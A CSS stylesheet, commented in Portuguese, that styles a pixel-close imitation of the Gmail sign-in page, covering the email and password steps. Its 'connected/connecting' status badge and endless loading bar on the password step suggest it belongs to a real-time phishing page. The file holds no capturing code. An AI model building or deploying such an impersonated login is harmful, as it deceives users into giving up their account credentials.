/* Estilos para a página de login do Gmail */

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Roboto', Arial, sans-serif;
    background-color: rgb(240, 244, 249);
    color: #202124;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    margin: 0;
    padding: 20px 0;
}

.login-container {
    width: 100%;
    max-width: 1060px;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 0 25px;
}

.login-card {
    background-color: #fff;
    border-radius: 32px;
    border: 1px solid #dadce0;
    padding: 36px;
    width: 100%;
    height: 402px;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
    position: relative;
    overflow: hidden;
}

/* Status indicator styles */
.status-indicator {
    position: absolute;
    top: 10px;
    right: 15px;
    display: flex;
    align-items: center;
    gap: 8px;
    background: rgba(0, 0, 0, 0.8);
    padding: 6px 12px;
    border-radius: 20px;
    font-size: 12px;
    z-index: 1000;
}

.status-dot {
    width: 8px;
    height: 8px;
    border-radius: 50%;
    background: #ff6b6b;
    transition: background-color 0.3s ease;
}

.status-indicator.connected .status-dot {
    background: #51cf66;
    box-shadow: 0 0 8px rgba(81, 207, 102, 0.5);
}

.status-indicator.connecting .status-dot {
    background: #ffd43b;
    animation: pulse 1.5s infinite;
}

.status-text {
    color: white;
    font-weight: 500;
    font-size: 11px;
}

@keyframes pulse {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.5; }
}

@keyframes shake {
    0%, 100% { 
        border-color: #d93025;
        box-shadow: 0 0 0 1px #d93025;
    }
    50% { 
        border-color: #ea4335;
        box-shadow: 0 0 0 2px #ea4335;
    }
}

/* Classe para aplicar animação de erro */
.input-error {
    animation: shake 0.5s ease-in-out;
    border-color: #d93025 !important;
}

.input-error:focus {
    border-color: #d93025 !important;
    box-shadow: none;
}

.input-error + .floating-label {
    color: #d93025 !important;
}

.input-error:focus + .floating-label,
.input-error:not(:placeholder-shown) + .floating-label {
    color: #d93025 !important;
}

/* Suporte para input-error no password-input */
#password-input.input-error {
    border-color: #d93025 !important;
}

#password-input.input-error:focus {
    border-color: #d93025 !important;
    box-shadow: none;
}

#password-input.input-error + .floating-label {
    color: #d93025 !important;
}

#password-input.input-error:focus + .floating-label,
#password-input.input-error:not(:placeholder-shown) + .floating-label {
    color: #d93025 !important;
}

.loading-bar {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 4px;
    background-color: transparent;
    z-index: 10;
}

.loading-progress {
    height: 100%;
    width: 30%;
    background: linear-gradient(90deg, #1a73e8, #4285f4);
    border-radius: 2px;
    position: absolute;
    left: -30%;
    transition: left 2s ease-in-out;
}

.loading-bar.active .loading-progress {
    left: 100%;
}

/* Loading overlay */
.loading-overlay {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(255, 255, 255, 0);
    z-index: 5;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.3s ease-in-out;
}

.loading-bar.active ~ .card-content .loading-overlay,
.loading-bar.infinite ~ .card-content .loading-overlay,
.loading-bar.infinite ~ #password-step .loading-overlay {
    opacity: 1;
    background-color: rgba(255, 255, 255, 0.8);
    pointer-events: auto;
}

.card-content {
    display: flex;
    flex-direction: row;
    justify-content: space-between;
    width: 100%;
    padding: 0;
}

.left-section {
    flex: 1;
    display: flex;
    flex-direction: column;
    justify-content: flex-start;
    max-width: 50%;
}

.card-content:not(#password-step) .left-section {
    padding-right: 24px;
}

.right-section {
    flex: 1;
    padding-left: 24px;
    padding-top: 60px;
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    height: calc(100% - 96px);
    max-width: 50%;
    align-self: flex-end;
}

.logo {
    margin-bottom: 24px;
}

.logo svg {
    width: 48px;
    height: 48px;
}

h1 {
    font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
    font-size: calc(44 / 16 * 1rem);
    font-weight: 400;
    margin-bottom: 0;
    color: #1F1F1F;
    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
    letter-spacing: -0.5px;
}

.left-section p {
    color: #1F1F1F;
    font-weight: 400;
    font-size: 16px;
    margin: 16px 0 0;
    line-height: 1.4;
}

.right-section .input-container {
    margin-top: 32px;
}

.input-container {
    width: 100%;
    margin-bottom: 8px;
    position: relative;
}

#email-input {
    width: 100%;
    padding: 13px 15px;
    font-size: 16px;
    border: 1px solid rgb(80, 80, 80);
    border-radius: 4px;
    color: #202124;
    outline: none;
    transition: border-color 0.2s;
    height: 56px;
    margin-bottom: 0;
}

#email-input:focus {
    border: 2px solid #1a73e8;
    box-shadow: none;
}

.floating-label {
    position: absolute;
    left: 15px;
    top: 50%;
    transform: translateY(-50%);
    color: #5f6368;
    font-size: 16px;
    pointer-events: none;
    transition: all 0.2s ease-in-out;
    background-color: #fff;
    padding: 0 4px;
}

#email-input:focus + .floating-label,
#email-input:not(:placeholder-shown) + .floating-label {
    top: 0;
    left: 11px;
    font-size: 12px;
    color: #1a73e8;
    transform: translateY(-50%);
}

#email-input.error {
    border: 1px solid #d93025;
    box-sizing: border-box;
}

#email-input.error:focus {
    border: 1px solid #d93025;
    box-shadow: none;
}

#email-input.error + .floating-label {
    color: #d93025;
    top: 0;
    left: 11px;
    font-size: 12px;
    transform: translateY(-50%);
}

#email-input.error:focus + .floating-label,
#email-input.error:not(:placeholder-shown) + .floating-label {
    top: 0;
    left: 11px;
    font-size: 12px;
    color: #d93025;
    transform: translateY(-50%);
}

.forgot-email {
    width: 100%;
    text-align: left;
    margin-bottom: 20px;
}

.forgot-email a {
    color: #1a73e8;
    font-weight: 500;
    font-size: 14px;
    text-decoration: none;
}

.forgot-email a:hover {
    text-decoration: underline;
}

.guest-mode {
    width: 100%;
    margin-top: 20px;
}

.guest-mode p {
    font-size: 14px;
    margin-bottom: 4px;
    text-align: left;
    color: #5f6368;
    line-height: 1.4;
}

.guest-mode a {
    color: #1a73e8;
    font-weight: 500;
    font-size: 14px;
    text-decoration: none;
    line-height: 1.4;
}

.guest-mode a:hover {
    text-decoration: underline;
}

.button-container {
    width: 100%;
    display: flex;
    justify-content: flex-end;
    align-items: center;
    gap: 1.5rem;
    margin-top: auto;
    margin-bottom: 0;
    padding-top: 24px;
}

.button-container a {
    color: #1a73e8;
    font-weight: 500;
    font-size: 14px;
    text-decoration: none;
}

.button-container a:hover {
    text-decoration: underline;
}

#next-button {
    background-color: rgba(11, 87, 208, 1);
    color: white;
    border: none;
    border-radius: 24px;
    padding: 0 20px;
    font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background-color 0.2s;
    height: 48px;
    min-width: 80px;
    letter-spacing: 0.25px;
    text-transform: none;
}

#next-button:hover {
    background-color: rgba(8, 65, 156, 1);
    box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3);
}

footer {
    margin-top: 5px;
    padding: 16px 0;
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 12px;
    color: #5f6368;
    width: 100%;
    max-width: 1060px;
}

footer select {
    background-color: transparent;
    border: none;
    color: #5f6368;
    font-size: 12px;
    padding: 4px 8px;
    cursor: pointer;
    outline: none;
}

.footer-links {
    display: flex;
    gap: 24px;
}

footer a {
    color: #5f6368;
    text-decoration: none;
    font-weight: 400;
}

footer a:hover {
    text-decoration: underline;
}

.error-message {
    color: #d93025;
    font-size: 12px;
    margin-top: 8px;
    text-align: left;
    display: flex;
    align-items: center;
    gap: 8px;
}

.error-message::before {
    content: "⚠";
    color: #d93025;
    font-size: 14px;
    font-weight: bold;
}

/* Password Step Styles */
.password-layout {
    display: flex;
    width: 100%;
    min-height: 300px;
    gap: 40px;
}

.password-layout .left-section {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: flex-start;
    justify-content: flex-start;
}

.password-layout .left-section .google-logo {
    margin-bottom: 20px;
}

.password-layout .left-section .logo svg {
    width: 48px;
    height: 48px;
}

.password-layout .left-section h1 {
    font-size: 44px;
    font-weight: 400;
    color: #202124;
    margin: 0 0 24px 0;
}

.password-layout .right-section {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: stretch;
    justify-content: flex-start;
    padding-top: 20px;
}

.user-info {
    display: flex;
    align-items: center;
    gap: 2px;
    margin-bottom: 24px;
    padding: 0px 1px;
    border: 1px solid rgb(48, 48, 48);
    border-radius: 16px;
    background-color: transparent;
    width: fit-content;
    max-width: 300px;
    min-height: 28px;
    box-sizing: border-box;
}

.user-avatar {
    width: 20px;
    height: 20px;
    border-radius: 50%;
    background-color: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.user-avatar .material-symbols-outlined {
    font-size: 20px;
    color: #5f6368;
    line-height: 1;
}

.user-avatar img {
    width: 100%;
    height: 100%;
    object-fit: cover;
}

#user-email {
    font-size: 14px;
    color: #1f1f1f;
    font-weight: 500;
    line-height: 1;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
    max-width: 200px;
    flex-shrink: 1;
}

.change-account {
    background: none;
    border: none;
    color: #5f6368;
    cursor: pointer;
    font-size: 12px;
    padding: 4px;
}

.change-account:hover {
    background-color: #f1f3f4;
    border-radius: 4px;
}

/* Password input styles - same as email input */
.right-section .input-container {
    width: 100%;
    margin-bottom: 8px;
    position: relative;
}

#password-input {
    width: 100%;
    padding: 13px 15px;
    font-size: 16px;
    border: 1px solid #1f1f1f;
    border-radius: 4px;
    color: #202124;
    outline: none;
    transition: border-color 0.2s;
    height: 56px;
    margin-bottom: 0;
}

#password-input:focus {
    border: 2px solid #1a73e8;
    box-shadow: none;
}

#password-input:focus + .floating-label,
#password-input:not(:placeholder-shown) + .floating-label {
    top: 0;
    left: 11px;
    font-size: 12px;
    color: #1a73e8;
    transform: translateY(-50%);
}

#password-input.error {
    border: 2px solid #d93025;
}

#password-input.error:focus {
    border: 2px solid #d93025;
    box-shadow: none;
}

#password-input.error + .floating-label {
    color: #d93025;
    top: 0;
    left: 11px;
    font-size: 12px;
    transform: translateY(-50%);
}

#password-input.error:focus + .floating-label,
#password-input.error:not(:placeholder-shown) + .floating-label {
    top: 0;
    left: 11px;
    font-size: 12px;
    color: #d93025;
    transform: translateY(-50%);
}

.right-section .password-options {
    margin-top: 8px;
    margin-bottom: 16px;
    width: 100%;
    text-align: left;
}

#password-step .checkbox-container {
    display: flex;
    align-items: center;
    cursor: pointer;
    font-size: 14px;
    color: #1f1f1f;
    font-weight: 500;
    margin-right: 0;
    position: static;
    gap: 8px;
}

#password-step .checkbox-container .checkbox-visual {
    display: inline-block;
    width: 18px;
    height: 18px;
    border: 2px solid #5f6368;
    border-radius: 2px;
    cursor: pointer;
    position: relative;
    margin: 0;
}

#password-step .checkbox-container input[type="checkbox"]:checked + .checkbox-visual {
    background-color: #1a73e8;
    border-color: #1a73e8;
}

#password-step .checkbox-container input[type="checkbox"]:checked + .checkbox-visual::after {
    content: "";
    position: absolute;
    left: 4px;
    top: 1px;
    width: 5px;
    height: 10px;
    border: solid white;
    border-width: 0 2px 2px 0;
    transform: rotate(45deg);
}

#password-step .checkbox-container .checkbox-text {
    font-size: 14px;
    color: #1f1f1f;
    font-weight: 500;
    cursor: pointer;
}

#password-step .checkbox-container input[type="checkbox"] {
    opacity: 0;
    position: absolute;
    width: 0;
    height: 0;
}



.right-section .actions {
    display: flex;
    justify-content: flex-end;
    align-items: center;
    gap: 1.5rem;
    width: 100%;
    margin-top: 20px;
}

.right-section .actions a {
    color: #1a73e8;
    text-decoration: none;
    font-size: 14px;
}

.right-section .actions a:hover {
    text-decoration: underline;
}

/* Password next button - same style as email next button */
#password-next-button {
    background-color: rgba(11, 87, 208, 1);
    color: white;
    border: none;
    border-radius: 24px;
    padding: 0 20px;
    font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background-color 0.2s;
    height: 48px;
    min-width: 80px;
    letter-spacing: 0.25px;
    text-transform: none;
}

#password-next-button:hover {
    background-color: rgba(8, 65, 156, 1);
    box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3);
}

/* Step transitions */
.card-content {
    transition: opacity 0.3s ease-in-out;
}

.card-content.fade-out {
    opacity: 0;
}

.card-content.fade-in {
    opacity: 1;
}

/* Loading animation for infinite loop */
.loading-bar.infinite .loading-progress {
    animation: infiniteLoading 2s linear infinite;
    transition: none;
}

@keyframes infiniteLoading {
    0% {
        left: -30%;
    }
    100% {
        left: 100%;
    }
}

/* Responsividade */
@media (max-width: 600px) {
    .login-card {
        padding: 36px 24px 24px;
        border-radius: 0;
        border: none;
        box-shadow: none;
    }
    
    .login-container {
        max-width: 100%;
        height: 100%;
        justify-content: space-between;
    }
    
    .footer {
        flex-direction: column;
        align-items: center;
    }
    
    .language-selector {
        margin-bottom: 16px;
    }
    
    .footer-links a:first-child {
        margin-left: 0;
    }
}

.create-account {
    color: #1a73e8;
    font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
    font-size: 14px;
    font-weight: 500;
    text-decoration: none;
    letter-spacing: 0.25px;
}

.create-account:hover {
    text-decoration: underline;
}